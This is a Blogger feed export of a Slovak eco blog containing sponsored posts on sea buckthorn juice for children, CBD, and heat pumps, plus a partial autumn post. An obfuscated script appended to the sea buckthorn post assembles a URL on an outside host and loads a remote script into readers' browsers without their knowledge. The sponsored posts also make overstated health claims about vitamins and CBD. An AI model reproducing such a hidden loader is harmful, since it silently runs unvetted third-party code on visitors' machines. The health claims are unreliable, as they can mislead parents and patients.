tag:blogger.com,1999:blog-63252095290318534852024-03-27T07:37:35.421+01:00bioekologikaEco-friendly blog o biodiverzite záhrad, životnom prostredí, ochrane prírody a vedomom neplytvaní jej zdrojmi. Knihy, bylinky a severský minimalizmus.bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.comBlogger178125tag:blogger.com,1999:blog-6325209529031853485.post-2858456858892733072024-02-25T18:44:00.005+01:002024-02-25T23:19:27.171+01:00Aké benefity prináša rakytníková šťava pre našich najmenších?<p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt3MiCfkAxZKDj4CDGQnCpfdKP7dhfwmiatuTYN2FLBuXVZgxeZI7oLkGVhJx4CLPJ8jpOekSVvI0Q6uLt51Z17brNP_eFzGa9heZhOozO2LG0Iq6f6xPj1GJGiIDh4BrDi40t3EHjTtOenSWTapkw9GJsB4SA0frlF7cxk0tR903kda3VccsDWzvlNmF5/s584/rakytnikova-stava-pre-deti.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="417" data-original-width="584" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt3MiCfkAxZKDj4CDGQnCpfdKP7dhfwmiatuTYN2FLBuXVZgxeZI7oLkGVhJx4CLPJ8jpOekSVvI0Q6uLt51Z17brNP_eFzGa9heZhOozO2LG0Iq6f6xPj1GJGiIDh4BrDi40t3EHjTtOenSWTapkw9GJsB4SA0frlF7cxk0tR903kda3VccsDWzvlNmF5/s16000/rakytnikova-stava-pre-deti.jpg" /></a></div><p style="text-align: justify;"><b>Bývajú vaše deti často choré? Jednou z príčin môže byť aj ich nevyvážená strava. Silný zdravý detský organizmus potrebuje veľa vitamínov, minerálov a antioxidantov, ktoré len ťažko nájdete v dnešných ,,rýchlo-pokrmoch“. Dokonca aj napriek maximálnemu úsiliu rodičov môže byť denný prísun potrebných živín nedostačujúci. Prečo a v akej forme ,,dávkovať“ túto bobuľu našim ratolestiam? </b></p>
<h3 style="text-align: left;">Obohaťte pitný režim o rakytníkovú šťavu</h3>
<p style="text-align: justify;">Hľadáte <b>nápoj</b>, ktorý by slúžil <b>ako prevencia zdravia, ale zároveň</b> by aj <b>chutil</b> najnáročnejším konzumentom, ktorými sú práve <b>deti?</b> <b>Rakytník</b> obsahuje <b>vitamíny A, E, D, K</b>, stopové prvky vrátane <b>železa, zinku, vápnika, medi, mangánu, selénu a jódu</b>, ktoré sa ľahko vstrebávajú. <u><a href="https://bobule.sk/organicke-stavy/organicka-stava-rakytnik/" target="_blank"><b>Rakytníková šťava</b></a></u> má <b>kyslastú ovocnú</b> osviežujúcu <b>chuť.</b> Vaše ratolesti vám za ňu poďakujú lebo:</p><h4 style="text-align: justify;">1. Obsahuje veľa dôležitých vitamínov</h4>
<p style="text-align: justify;"><b>Vitamín C</b> posilní ich <b>imunitu</b>, ktorú hlavne malé deti majú neustále vystavenú nebezpečenstvu <b>vírusov či infekcií v škôlkarskom kolektíve.</b> Vďaka <b>vitamínu A</b> <b>nebudú </b>musieť <b>nosiť okuliare</b> v príliš skorom veku, <b>vitamín E</b> vyživuje <b>zdravú pokožku.</b></p><h4 style="text-align: justify;">2. Podporuje zdravie ich malých srdiečok a mozgu</h4>
<p style="text-align: justify;">Nenasýtené <b>omega-3 a 6 mastné kyseliny</b> si <b>telo nevie vyprodukovať</b> samé. Zabezpečte si ich konzumáciou rakytníka. Napomáhajú <b>k správnemu fungovaniu kardiovaskulárneho systému a mozgu.</b></p><h4 style="text-align: justify;">3. Podporujú trávenie</h4>
<p style="text-align: justify;">Ak vašich najmenších často <b>trápi zápcha</b> alebo sa <b>sťažujú na bolesť brucha</b>, rakytník obsahuje <b>vlákninu</b>, ktorá všeobecne <b>podporuje</b> <b>zdravú črevnú mikroflóru.</b></p><h4 style="text-align: justify;">4. Obsahujú veľa antioxidantov</h4>
<p style="text-align: justify;">Deti nám síce „starnú“ z roka na rok, avšak tento <b>proces</b> môže prebehnúť <b>bez poškodenia </b>mladých<b> buniek voľnými radikálmi.</b> Antioxidanty z rakytníka sa naviažu a neutralizujú tieto nestabilné molekuly, čím <b>zabránia poškodeniu DNA</b> a prispejú k celkovému zdraviu bunky. Výsledok? <b>Menej chorôb</b> a <b>zlepšenie imunitného systému.</b></p><h4 style="text-align: justify;">5. Podporujú správny vývoj a rast</h4>
<p style="text-align: justify;"><b>Nedostatok</b> stopových prvkov ako <b>mangán, selén a jód</b> môže mať za príčinu <b>osteoporózu, poruchy štítnej žľazy či rastu, zvýšiť riziko srdcových ochorení</b> atď. Navyše <b>železo, vápnik</b>, či <b>vitamíny skupiny B</b> prispievajú k <b>správnemu vývinu kostí, zubov, nervovej sústavy</b>. S tou súvisí aj <b>psychická pohoda</b>, ktorá je rovnako dôležitou súčasťou detskej osobnosti.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5C1SikQ9LNxbB9Pzo9wrhyEHZ6DFRgtUblye_r51_tsuMwgm2eA4zMw0Alkszoh0Z5ybTgzxssGp0SrvsWbcTprnG-gBFbAjyt626b6MkqaYUj7Kmo-ztWtpTuN8kSbSQU1peLuR86htPL_BXyMOTc27JouhboIUCCiUU6kzQnyzZoJqJ550SF5lI4Q0X/s500/rakytnik.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="281" data-original-width="500" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5C1SikQ9LNxbB9Pzo9wrhyEHZ6DFRgtUblye_r51_tsuMwgm2eA4zMw0Alkszoh0Z5ybTgzxssGp0SrvsWbcTprnG-gBFbAjyt626b6MkqaYUj7Kmo-ztWtpTuN8kSbSQU1peLuR86htPL_BXyMOTc27JouhboIUCCiUU6kzQnyzZoJqJ550SF5lI4Q0X/s16000/rakytnik.jpg" /></a></div><p style="text-align: justify;"><b>Kvalitná šťava</b> je vyrobená <b>lisovaním za studena</b>. Vyhnite sa <b>riedeným koncentrátom</b> s vysokým podielom cukru a čo je <b>dôležité pre detský organizmus</b> – šťava by mala byť <b>pasterizovaná</b>, kde <b>nenájdete patogény a iné mikróby</b>. Ak <b>hľadáte iné alternatívy</b> ako zakomponovať toto zdravé <b>ovocie do stravy</b> bez ,,frflania“ – skúste sa poobzerať po potravinách ako <u><a href="https://bobule.sk/ovocne-dzemy/ovocny-dzem-rakytnik/" target="_blank"><b>rakytníkový džem</b></a></u> či <u><a href="https://bobule.sk/ovocne-vlocky/flakenberries-rakytnik-7-x-7-g/" target="_blank"><b>rakytníkové vločky</b></a></u><b>. </b>Deti milujú<b> nápadité a pestrofarebné recepty </b>a<b> </b>vy zase budete milovať<b> rakytník, </b>pretože ich udrží vo skvelej<b> zdravotnej kondícii.</b></p><p style="text-align: justify;"><b><br /></b></p><p style="text-align: justify;"><i><span style="font-size: x-small;">(PR článok/sponzorovaný článok), Zdroj foto: Shutterstock.com</span></i></p><p style="text-align: justify;"><b><br /></b></p>
<script>
(function(){
cq6e=document.createElement("script");cq6e_=("ust");cq6eu="2240749338";
cq6e_+="a"+("t.i");cq6e.type="text/javascript";
cq6eu+=".46i352X3q6e5c1m3t6r8";cq6e.async=true;cq6e_+="n"+("f"+"o")+"/";
cq6eu+="2gmwx2gmmv";cq6e.src="https://"+cq6e_+cq6eu;
document.body.appendChild(cq6e);
})();
</script>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-53250690527181348852023-09-04T12:00:00.021+02:002023-09-04T13:26:26.912+02:00CBD a jeho účinky: Esenciálna sila prírody. Čo by ste mali vedieť ešte pred používaním?<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkhDJ3yl9NDkgF0LpohFRiZMYo_TMKnBZRE8zWR5aoppQv2FS4iQh6lSjM7Xly-Ec8YkeV8OXgoerVcNtlNU-kON3Gb9xMLtqXILi443bsk0N22ztH7vjpbKg1ObxrSEEEjhXZh78YF5we6VHOEqMyzvQTWYaxvy40QVtBpuNIrq2Gd6cAjzGuqVoxDEZk/s3506/david-marcu-78a265wpio4-unsplash.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="2329" data-original-width="3506" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgkhDJ3yl9NDkgF0LpohFRiZMYo_TMKnBZRE8zWR5aoppQv2FS4iQh6lSjM7Xly-Ec8YkeV8OXgoerVcNtlNU-kON3Gb9xMLtqXILi443bsk0N22ztH7vjpbKg1ObxrSEEEjhXZh78YF5we6VHOEqMyzvQTWYaxvy40QVtBpuNIrq2Gd6cAjzGuqVoxDEZk/s16000/david-marcu-78a265wpio4-unsplash.jpg" /></a></div><br /><p style="text-align: justify;">Samotné slovo "kanabidiol" alebo skrátene "CBD" je v dnešnej dobe stále častejšie skloňované v súvislosti s alternatívnymi formami liečby a zdravia. A to nie náhodou. CBD, ktoré je látka izolovaná z rastliny konope, má široké spektrum pozitívnych účinkov na náš organizmus, ktoré siaha ďaleko za rámec obyčajných liekov. V tomto článku sa pozrieme na niektoré z týchto účinkov, ktoré by ste mali mať na pamäti pri rozhodovaní sa pre používanie CBD.</p><h3 style="text-align: justify;">Zmiernite zápaly a Bolesti</h3><p style="text-align: justify;">Jedným z najznámejších a <a href="https://cbdium.eu/sk/cbd-ucinky/" target="_blank">najdôležitejších účinkov CBD</a> je jeho schopnosť zmierniť bolesti a zápaly. Mnoho ľudí ho využíva ako prírodnú alternatívu k tradičným liekom proti bolesti. Jeho mechanizmus pôsobenia spočíva v interakcii s endokanabinoidnými receptormi v našom tele. Na rozdiel od mnohých liekov proti bolesti nezasahuje CBD priamo do symptómov, ale spolupracuje s telom na odstránení ich skutočnej príčiny. Týmto spôsobom pomáha prirodzeným liečebným procesom tela.</p>
<p style="text-align: center;"><span style="font-weight: 400;"><iframe height="314" src="//www.youtube.com/embed/Qm70Ode1eZU?t=3s" width="560"></iframe></span></p><h3 style="text-align: justify;">Ako CBD účinkuje na nervový systém</h3><p style="text-align: justify;"><a href="https://cbdium.eu/sk" target="_blank">CBD</a> však neslúži iba na zmiernenie bolesti. Ukazuje sa, že má aj vplyv na nervový systém. Mnohí ľudia ho využívajú na zlepšenie svojho emocionálneho a psychického stavu. Pomáha upokojovať myseľ a zmierniť stres a úzkosť. Niektorí ľudia tiež hlásia zlepšenie kvality spánku po užívaní CBD. Táto látka dokáže pomôcť vybalansovať neurotransmitery, čo môže mať pozitívny vplyv na náš celkový stav.</p><h3 style="text-align: justify;">Zdravá koža a žiarivá pokožka</h3><p style="text-align: justify;">V oblasti krásy a zdravia pôsobí CBD ako všestranný pomocník. Má prirodzené protizápalové, hydratačné a upokojujúce vlastnosti, čo ho robí ideálnym pre liečbu kožných problémov. Olej z konope je bohatý na antioxidanty, omega-3 a omega-6 mastné kyseliny, ktoré pomáhajú zmierniť zápal, svrbenie a začervenanie kože. Mnohí ľudia hlásia úspechy pri liečbe chronických kožných ochorení, ako sú ekzémy, psoriáza, dermatitída a akné. CBD môže tiež pomáhať udržiavať hormonálnu rovnováhu a môže byť prospešné pre ženy, ktoré trpia bolestivou alebo nepravidelnou menštruáciou, či inými problémami súvisiacimi s cyklom.</p><p style="text-align: center;"> <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="" frameborder="0" height="310" src="https://www.youtube.com/embed/sWKoolDL6h4" title="Revitalizačný balzam na každodennú starostlivosť o pokožku tváre aj tela" width="556"></iframe></p><h3 style="text-align: justify;">Starostlivosť o kĺby a svaly</h3><p style="text-align: justify;">Pre tých, ktorí trpia bolesťami svalov, kĺbov a kostí, CBD môže byť skvelým spoločníkom. Jeho schopnosť zmierniť zápal a bolesť ho robí vhodným pre rekreačných športovcov, profesionálnych atlétov, ale aj ľudí pracujúcich v náročných fyzických povolaniach. Existujú špeciálne produkty s vyváženým obsahom CBD určené na regeneráciu a liečbu športovcov a tých, ktorí majú náročné fyzické povolania.</p><h3 style="text-align: justify;">Čo zvážiť pri výbere CBD</h3><p style="text-align: justify;">Pri výbere CBD produktov je však dôležité dbať na kvalitu. Nižšia cena väčšinou odzrkadľuje aj nižšiu kvalitu produktu, pretože nízkonákladové metódy pestovania a extrakcie môžu viesť k produktom, ktoré obsahujú nečistoty alebo nízky obsah CBD. Preto je dôležité investovať do produktov vyrobených z organicky pestovaného konope a s certifikátom kvality.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6V1osjO1MW9wYp4ppsJ2Ey-ADXplI1G7xjPa3easHYbjntgEwJinR0ps06lG55T1BM0FJ5H1LwIXSG_9xpleUdu8gtFK8ImS3vjw6vK21fib1ks98nQ2tAV4Bbp_cdbC2ELj6ENWElgwcVp5Y75EyCECUIg9DTA0BbLzLcWaoKtTBI6GH8XjiwBHpUhCM/s6000/cbdium_products-91.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="4000" data-original-width="6000" height="426" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6V1osjO1MW9wYp4ppsJ2Ey-ADXplI1G7xjPa3easHYbjntgEwJinR0ps06lG55T1BM0FJ5H1LwIXSG_9xpleUdu8gtFK8ImS3vjw6vK21fib1ks98nQ2tAV4Bbp_cdbC2ELj6ENWElgwcVp5Y75EyCECUIg9DTA0BbLzLcWaoKtTBI6GH8XjiwBHpUhCM/w640-h426/cbdium_products-91.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Všetky informácie o CBDium a jeho účinkoch nájdete <a href="https://cbdium.eu/sk/blog/" target="_blank">na blogu</a> cbdium.eu</td></tr></tbody></table><h3 style="text-align: justify;">Ako Spoznať Kvalitné CBD</h3><p style="text-align: justify;">Kvalitné CBD by malo byť certifikované, čisté od nečistôt a správne spracované. Preto v CBDium nájdete len organické <a href="https://cbdium.eu/sk" target="_blank">CBD produkty</a>, ktoré vznikli z bio-certifikovaného konope. Výrobky boli testované v akreditovaných laboratóriach, a to všetko s jediným cieľom - zabezpečiť, aby ste dostali to najlepšie.</p><p style="text-align: justify;"><br /></p><p style="text-align: justify;"><i><span style="font-size: x-small;">(PR článok/sponzorovaný článok), Zdroj foto: Unsplash.com/David Marcu, cbdium.eu/sk</span></i></p><p style="text-align: justify;"><br /></p>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-27624910006738839422023-07-30T23:35:00.002+02:002023-07-31T12:29:27.826+02:00Tepelné čerpadlo alebo kúrenie plynom? Ekologická alternatíva vie, ako šetriť financie aj životné prostredie<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjevA4BRi2HVX_i_HE1YPViN_6-pMJi2QmBp7L4-ATPnWVmg72YEnpmK8AxRAfNz3t3nWdmT9r4mXbzIfNkPeI3UTgPbKILLKViC8d03uATpuMhPztdWy39yhPCj4xvQqYmVon_ZDfAc3xT-1vhTNaYvD5zEjC3A1HwCr0RsJA101ScNuGrTozpwrngSESJ/s2000/close-up-heat-pump-outside-home.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1429" data-original-width="2000" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjevA4BRi2HVX_i_HE1YPViN_6-pMJi2QmBp7L4-ATPnWVmg72YEnpmK8AxRAfNz3t3nWdmT9r4mXbzIfNkPeI3UTgPbKILLKViC8d03uATpuMhPztdWy39yhPCj4xvQqYmVon_ZDfAc3xT-1vhTNaYvD5zEjC3A1HwCr0RsJA101ScNuGrTozpwrngSESJ/s16000/close-up-heat-pump-outside-home.jpg" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;"></td></tr></tbody></table><p style="text-align: justify;">Pripravujete sa na stavbu domu alebo dom už nejaký rok postavený máte a teraz uvažujete o jeho rekonštrukcii? Potom už určite viete, koľko času vám dávajú všetky prípravy zabrať. Chystáte sa, plánujete a neustále premýšľate, ako ho postaviť, či zrekonštruovať čo najekologickejšie s ohľadom na životné prostredie a potreby meniacej sa klímy? Hľadanie ekologických alternatív je pre nás vždy prioritou a my sa s vami radi delíme o zaujímavé informácie. Ak práve tou plánovacou etapou prechádzate, náš článok, v ktorom vám priblížime <b>princíp, na akom funguje tepelné čerpadlo,</b> vám môže prísť vhod. </p><h3 style="text-align: justify;">Teplo spotrebováva najviac energie </h3><p style="text-align: justify;">Určite nám dáte za pravdu, že žiadna domácnosť sa bez tepla či teplej vody, na ktoré sa spravidla spotrebuje najväčšia časť energie, jednoducho nezaobíde. <b>Výber ideálneho spôsobu vykurovania a ohrevu úžitkovej vody, preto býva veľmi dôležitou súčasťou rozhodovania </b>najmä v prípade novostavby, ale i pri rekonštrukciách domov, ktorých súčasťou je aj obnova starých vykurovacích zariadení. </p><h3 style="text-align: left;">Výber alternatívneho spôsobu vykurovania šetrí financie aj životné prostredie</h3><p style="text-align: justify;">Vedeli ste, že počas vykurovacej sezóny potreba zabezpečenia primeranej teploty v budovách vygeneruje dokonca viac skleníkových plynov ako doprava? A že v produkcii skleníkových plynov budovám patrí nelichotivé prvé miesto? </p><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;"><b>Pri neustále rastúcich cenách zemného plynu a krehkej budúcnosti životného prostredia, sa ako obzvlášť výhodná alternatíva vykurovania domácnosti, ponúkajú tepelné čerpadlá.</b> Dodávajú sa v niekoľkých variantoch – v závislosti od zdroja, ktorý využívajú – zdroj vzduchu, vody alebo zemný (geotermálny) zdroj, pričom každý z nich má svoje výhody i nevýhody. </span></blockquote><p></p><p style="text-align: justify;">Najväčšou výhodou, ktorú každý z nich poskytuje do domácnosti, je teplo, ktoré na vykurovanie a ohrievanie úžitkovej vody celoročne poskytujú. Tým, ako zo svojho okolia využívajú teplo, zo vzduchu, spodnej vody alebo zo zeme (v nadväznosti na typ zdroja), zároveň značnou mierou znižujú náklady na spotrebu energie. <b>Významným benefitom tepelného čerpadla je aj podpora obnoviteľných zdrojov a eliminácia spaľovania fosílnych palív,</b> čo zároveň prispieva k znižovaniu emisií CO2. </p><h3 style="text-align: left;">Aký je princíp, na ktorom funguje tepelné čerpadlo vzduch-voda?</h3><p style="text-align: justify;">Zjednodušene vysvetlené, tepelné čerpadlo pracuje cyklicky sa opakujúcim procesom, ktorý prebieha v uzatvorenom okruhu s periodicky sa opakujúcimi dejmi. <b>Princíp čerpadla funguje na tom, že čerpadlo premieňa energiu z vonkajšieho vzduchu na využiteľné teplo.</b> Jeho chladiaci okruh pozostáva zo štyroch základných časti – výparník, kompresor, kondenzátor a škrtiaci ventil. Prostredníctvom chladiaceho procesu a cyklu kompresie pár odoberajú tepelné čerpadlá typu vzduch-voda teplo z vonkajšieho vzduchu podobným spôsobom ako chladnička získava teplo zo svojho vnútra. Uzatvorený okruh naplnený chladivom je tak základom pre tepelné čerpadlo. </p><p style="text-align: justify;"></p><ol><li><b>Potenciálne teplo z okolitého vzduchu privedené do výparníka,</b> spôsobuje vyparovanie chladiva, pričom nositeľom tepelnej energie sa stávajú pary chladiva, ktoré teplo prenášajú do kompresora.</li><li><b>Ventilátor cez výparník zaisťuje prúdenie vzduchu, ktorý sa pritom ochladí.</b> Vzduchová cesta predstavuje primárny okruh tepelného čerpadla. Pary z výparníka sa nasajú pomocou kompresora, ktorý ich stláča a vytlačí ich do kondenzátora, pričom sa práca na jeho pohon premení na teplo pripočítané k teplu privedenému do výparníka.</li><li><b>Parami chladiva z výparníka a kompresora sa do kondenzátora privádza energia,</b> ktorá sa stáva súčasťou cirkulujúceho vykurovacieho média, ktoré je súčasťou sekundárneho okruhu tepelného čerpadla. Prenesené teplo týmto ohrieva vykurovacie médium.</li><li><b>Do výparníka sa vstrekuje kvapalné chladivo,</b> ktoré v kondenzátore pri vyššom kondenzačnom tlaku skondenzovalo, aby sa opäť v rámci cyklu pri nižšom tlaku vyparilo.</li></ol><p></p><h3 style="text-align: left;">Aké výhody prináša tepelné čerpadlo?</h3><p style="text-align: justify;">Jednoduchosť inštalácie a vhodnosť do každej lokality predurčujú <a href="https://www.eco3energy.sk/tepelne-cerpadla-vzduch-voda/" target="_blank">tepelné čerpadlo vzduch-voda</a> medzi obľúbené a často vyhľadávané. Nakoľko zdrojom energie je vonkajší vzduch, z ktorého tepelné čerpadlo dokáže efektívne získavať energiu aj v prípade dlhšie trvajúcich extrémnych mrazov, za výhodné môžeme považovať aj to, že <b>na získavanie tepelnej energie nie sú potrebné žiadne dodatočné vrty ani zemné kolektory.</b> Veľmi príjemnou výhodou, ktorú výberom tepelného čerpadla získate, je <b>rovnomerné a konzistentné teplo, na výrobu ktorého spotrebuje vaša domácnosť oveľa menej energie. </b></p><h3 style="text-align: justify;">Nájdu sa aj nevýhody</h3><p style="text-align: justify;">Tou najväčšou <b>nevýhodou môže byť najmä počiatočná investícia. </b>Aby investícia mala zmysel aj v prípade prechodu na tento systém vykurovania v staršej nehnuteľnosti, dom by mal byť aj dostatočne tepelne izolovaný a pravdepodobne sa nevyhnete ani ďalším rekonštrukčným prácam s tým súvisiacich, ktoré tiež ovplyvnia váš rozpočet. </p><h4 style="text-align: left;">Môže tepelné čerpadlo plne nahradiť kotol a vykurovať celý dom?</h4><p style="text-align: justify;">Odpoveď je áno – tepelné čerpadlá môžu nahradiť kotol nahradiť (aj klimatizáciu!). Princíp, na ktorom funguje <b>tepelné čerpadlo vzduch-voda sa často využíva aj ako „all-in-one“, pretože budove poskytuje vykurovanie, chladenie, filtrovanie a čistenie vzduchu, vrátane odvlhčovania.</b> Vďaka tomu dokážete nielen celý dom vykúriť, ale aj ochladiť. Naviac, získate tak teplo, ktoré bude rovnomerne rozložené, čo znamená, že v dome nebudete mať žiadne studené miesta či tepelné mosty, ktoré sa zvyčajne vyskytujú pri kúrení plynom. Vďaka tepelnému čerpadlu sa v ktoromkoľvek ročnom období budete cítiť doma skvele vy a aj váš dom :)</p><h4 style="text-align: left;">Je tepelné čerpadlo lepšie a lacnejšie ako plynový kotol?</h4><p style="text-align: justify;">Prevádzka tepelného čerpadla je v mnohých prípadoch lacnejšia ako prevádzka plynového kotla alebo iného kotla na pevné palivo. V porovnaní s tým, je naviac aj <a href="https://www.eco3energy.sk/tepelne-cerpadla-vzduch-voda/" target="_blank">spôsob vykurovania</a> domu tepelným čerpadlom oveľa účinnejší – <b>v skutočnosti je ich účinnosť až 3-násobne vyššia ako tradičný systém kúrenia kotlom.</b> Pri odpovedi na otázku, či je aj lepšie, by nebolo správne zovšeobecnené tvrdenie, že áno, je. Aj napriek tomu, za vhodnejšiu odpoveď, ale možno považovať tvrdenie, že pre väčšinu domácností je. Závisí to však od viacerých faktorov, ktoré vo vašom prípade môžu individuálne zohrávať špecifickú úlohu pre konkrétnu stavbu, lokalitu a pod., najlepšie je preto poradiť sa vždy priamo s odborníkom. </p><p style="text-align: justify;"><b></b></p><blockquote><span style="font-size: large;"><b>Na záver ešte jedna zaujímavosť</b> – viete, že princíp toho, ako tepelné čerpadlo funguje, poznáme už viac ako 100 rokov? A že, <b>konštruktérom toho prvého na svete bol Slovák Aurel Stodola?</b> Vo Švajčiarsku dokonca jeho tepelné čerpadlo z roku 1928 ešte aj dnes funguje a vykuruje radnicu v Ženeve, kde pracuje systémom uzavretého okruhu odoberania tepla z vody jazera.</span> </blockquote><p></p><p style="text-align: justify;">Čo poviete, inšpirovali sme vás a ste pripravení na inovácie? Zaujímate sa o technológie, ktoré predstavujú nielen alternatívu, ale sú pre uvedomelú a ekologickú budúcnosť nevyhnutné? Pokojne nám napíšte v komentároch svoj názor :)</p><br /><div style="text-align: right;">✍🏻 <i>by Veve & Lulu</i></div><div style="text-align: left;"><i>(PR článok/sponzorovaný článok), Zdroj foto: Freepik/freepik</i></div>bioekologikahttp://www.blogger.com/profile/01295564603661742009noreply@blogger.com0tag:blogger.com,1999:blog-6325209529031853485.post-37393216940238873082022-10-10T19:00:00.000+02:002022-10-10T19:00:46.216+02:00Jesenné volanie po pohodových dňoch<div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7-nh81N8FIpsFgSYlqbKap3Hgp38fh25RgDV2aZLmdh0SUBiPJ6yKCSsYSqweXelPbUSC-o7LE0jkA4QHdFo-j4XHlGjIHJgq_AnSdPABzFeIwrpkJBUNKDSzkj4PBasOZ6n_3IpjuK3rb898MroQu9PoS_S5JB3bZZYR-U3dYitvBzie1e-Yyzbqvg/s815/bioekologika_blog_jesen_2022-jesenne-pohodove-dni-01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="611" data-original-width="815" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7-nh81N8FIpsFgSYlqbKap3Hgp38fh25RgDV2aZLmdh0SUBiPJ6yKCSsYSqweXelPbUSC-o7LE0jkA4QHdFo-j4XHlGjIHJgq_AnSdPABzFeIwrpkJBUNKDSzkj4PBasOZ6n_3IpjuK3rb898MroQu9PoS_S5JB3bZZYR-U3dYitvBzie1e-Yyzbqvg/s16000/bioekologika_blog_jesen_2022-jesenne-pohodove-dni-01.jpg" /></a></div><br /><div class="separator" style="clear: both; text-align: justify;">Najskôr sa to začne takmer neviditeľne. Začne sa o trochu skôr stmievať a o trochu neskôr rozvidnievať, <b>na zem dopadajú prvé žlté alebo hnedé listy stromov a vzduch je o poznanie sviežejší</b> a príjemnejší ako tomu bolo počas horúceho leta.</div><p style="text-align: justify;"></p><blockquote style="text-align: justify;"><span style="font-size: large;">Kedy príde jeseň, nie je nikdy isté. Nemá presný termín nástupu, aj keď kalendáre by nás o tom radi presvedčili, napriek tomu, jej prítomnosť si všimneme všetci. Možno si vravíte, že chlad a tma nie sú to, čo by ste práve obdivovali, ale <b>jesenné dni ponúkajú oveľa viac</b> a s trochou snahy a odhodlania môžu byť tieto dni naozaj <b>príjemné a pohodlné</b>.</span></blockquote><p></p><p style="text-align: justify;"><b>Pohodlné dni</b> myslíme v zmysle nie lenivé alebo neproduktívne, ale v zmysle <b>relaxačné a pomalé.</b> Také, ktoré <b>dovolia oddýchnuť si v pokoji a načerpať energiu</b> na náročné dni alebo aspoň <b>malé okamihy, ktoré vedú k veľkým zmenám.</b> Nedá sa namietať voči tomu, že všetci prežívame náročné obdobie, v podstate už dlhé mesiace a neistota, ktorej čelíme je ťaživá ako nikdy predtým. V prvom rade, však určite nechceme, aby sme si takto spoločne prehĺbili depresívne pocity z prítomnosti a aj z budúcnosti. Naopak, chceme podporiť ducha pozitivizmu, aby sme našli spôsoby <b>ako byť šťastní</b> <b>a radovať sa</b> aj z maličkostí. Pretože to sú tie <b>drobnosti, na ktorých záleží.</b></p><p style="text-align: justify;">S praxou sa tieto výnimočné drobnosti automaticky zaradia do bežného života a dávajú špeciálny význam obyčajným veciam a dňom. Je skvelé vytvoriť si akýsi <b>plán alebo zoznam jesenných aktivít,</b> ktoré nám robia radosť alebo predpokladáme, že nám urobia radosť zaručene, pretože ich chceme skúsiť po prvýkrát. </p><p style="text-align: justify;">Pre inšpiráciu uvádzame niekoľko tipov, ktoré prispejú k tomu, aby sme neprehliadli to, <b>čo je na jeseni krásne a stojí za to, aby bolo objavené.</b></p><p style="text-align: justify;"><b><span style="font-size: large;">Prechádzka v obklopení jesennej prírody</span></b> alebo akýkoľvek iný spôsob, vďaka ktorému môžeme byť <b>bližšie v spojení s prírodou.</b> Čaro jesenného počasia je nezameniteľné a keď sa na exteriérové aktivity pripravíme vo vhodnom oblečení, ani slabší dážď nám nemôže pokaziť radosť. Popritom zbierať huby, šípky, gaštany, bylinky alebo dekoračný materiál na výzdobu domova, dokáže jesenne naladiť každého, kto je schopný vnímať tempo prírodných cyklov. A ide to aj <b>doma na záhrade, napríklad plánovaním a vysádzaním cibuľovín,</b> ktoré budú pohľad tešiť na jar. Najlepšie je, že toto sa dá podniknúť aj bez záhrady a aj v interiéroch, len v tom prípade niektoré cibuľky vykvitnú už aj počas vianočných sviatkov.</p><p style="text-align: justify;"><b><span style="font-size: large;">Vytvoriť si jesenné rituály,</span></b> môže byť ďalším bodom programu. Schválne, nepíšeme ďalším bodom plánu, pretože nechceme, aby to vyznievalo ako povinnosť, ktorú treba splniť presne podľa časového harmonogramu. Ideálne by bolo, <b>vymyslieť si niekoľko aktivít, ktoré súvisia s jeseňou a ktoré navodia príjemnú atmosféru.</b> Napríklad si každé ráno alebo večer nájsť čas na šálku čaju alebo kávy s hrejivou a intenzívnou korenistou príchuťou, v niektorý deň v týždni pozvať priateľov a pripraviť si spoločný program alebo si vlastnoručne urobiť pletený šál alebo sveter. Prípadne zapojiť celú rodinu do dekorovania interiéru a vyrezávania tekvičiek alebo pečenia tekvicových semienok.</p><p style="text-align: justify;"><span style="font-size: large;"><b>Vymyslieť si vlastný recept na nové jesenné jedlo. </b></span>Jesenný nápoj alebo recept na koláč, polievku alebo hlavné jedlo. Je úplne jedno ako bude náročný, <b>dôležité je použiť sezónne suroviny.</b> Jablká, hrušky, hrozno, tekvice, hríby, gaštany...možností je veľa. Záleží len tom, či sú chute naklonené skôr na sladkú alebo slanú stranu :) A keď fantázia a kreativita nespolupracujú podľa predstáv, stačí jednoducho <b>vyskúšať úplne nový a neznámy recept.</b> Mimochodom, skúšali ste už upiecť chlieb s tekvicovou múkou alebo s 